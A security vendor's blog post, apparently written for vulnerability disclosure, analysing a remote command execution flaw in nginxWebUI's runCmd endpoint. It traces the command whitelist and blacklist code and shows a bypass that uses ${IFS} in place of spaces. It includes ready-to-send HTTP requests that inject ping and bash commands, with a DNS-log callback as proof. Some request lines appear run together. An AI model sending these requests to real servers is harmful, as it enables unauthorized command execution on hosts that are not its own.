• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”,表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城

      申请试用
        nginxWebUI 3.6.5版本审计与绕过
        发布时间:2023-07-21 阅读次数: 1713 次

        概述

        nginxWebUI runCmd远程命令执行漏洞时间线:

        - 5月19日 官方发布新版本(3.5.2)修复漏洞

        - 5月26日 漏洞细节在黄金城官网社区(火线)公开披露

        - 6月29 官方发布3.6.2 、3.6.3进一步修复runCmd远程命令执行漏洞

        - 6月30 官方发布3.6.4 进一步修复runCmd远程命令执行漏洞

        - 7月11 官方发布3.6.6 进一步修复runCmd远程命令执行漏洞

        目前已跟进版本:

        图片

        3.4.7-3.6.3版本代码分析参考上一篇。

        3.6.4版本审计

        定位到命令执行接口:

        \nginxWebUI-3.6.4\src\main\java\com\cym\controller\adminPage\ConfController.java 330行

        图片

        在这里runcmd接收2个参数:cmd和type。先检查type是否为空,不为空则调用settingService.set(type, cmd)使用配置文件的相关配置:

        图片

        然后使用了if (!isAvailableCmd(cmd)) ,检查cmd是否为有效的命令

        图片

        跟一下!isAvailableCmd:366行

        图片

        一个布尔类型私有方法,检查cmd参数是否有效,过滤了获取的所有路径,检查命令是否属于以下命令:


        • "pkill nginx"

        • "taskkill /f /im nginx.exe"

        • "systemctl stop nginx"

        • "service nginx stop"

        • "net stop nginx"

        • "systemctl start nginx"

        • "service nginx start"

        • "net start nginx"

        符合返回true,否则返回false,并返回错误信息。然后将传入的值进行处理,并且与nginxEXE参数进行判断是否相等,即将命令与nginx 服务端执行的命令进行对比。

        随后回到runcmd方法:然后是一个判断系统为win或者linux,调用不同的系统命令。

        图片

        然后对结果进行非空判断和内容正则。

        图片

        3.6.4漏洞构造


        根据前文代码的分析,要继续构造命令执行,就必须传入cmd参数,且绕过isAvailableCmd中对 nginxDir和nginxExe的校验。

        我们找到了处理这两个参数的saveCmd方法:272行

        图片

        该方法接收三个参数nginxPath、nginxExe和nginxDir,在方法内部调用ToolUtils.handlePath进行过滤处理,即黑名单的方式对以下空格和符号进行转义替换。

        图片

        尝试绕过

        在linux下,linux把${IFS}会被当做空格:

        图片

        访问nginxweibui

        图片

        配置nginxExe参数:即将isAvailableCmd中的nginxExe预设成我们将要执行的命令。

        POST /adminPage/conf/saveCmd HTTP/1.1图片

        1.POST /adminPage/conf/saveCmd HTTP/1.1
        2.Host: x.x.x.x:8080
        3.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.04.Accept: application/json, text/javascript, */*; q=0.015.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.26.Accept-Encoding: gzip, deflate7.Content-Type: application/x-www-form-urlencoded; charset=UTF-88.X-Requested-With: XMLHttpRequest9.Content-Length: 4710.Origin: http://x.x.x.x:808011.DNT: 112.Connection: close13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd14.Cookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
        15.
        16.nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1

        命令执行:

        1.POST /adminPage/conf/runCmd HTTP/1.12.Host: x.x.x.x:80803.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.04.Accept: application/json, text/javascript, */*; q=0.015.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.26.Accept-Encoding: gzip, deflate7.Content-Type: application/x-www-form-urlencoded; charset=UTF-88.X-Requested-With: XMLHttpRequest9.Content-Length: 3510.Origin: http://x.x.x.x:808011.DNT: 112.Connection: close13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd14.Cookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=168932191115.
        16.cmd
        =ping${IFS}22dck7.dnslog.cn -c 1

        Dnslog返回成功。

        图片

        其他命令:


        POST /adminPage/conf/saveCmd HTTP/1.1
        Host: xxxnginxExe=bash${IFS}&nginxPath=ls


        POST /adminPage/conf/runCmd 
        HTTP/1.1Host: xxxx

        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
          【网站地图】【sitemap】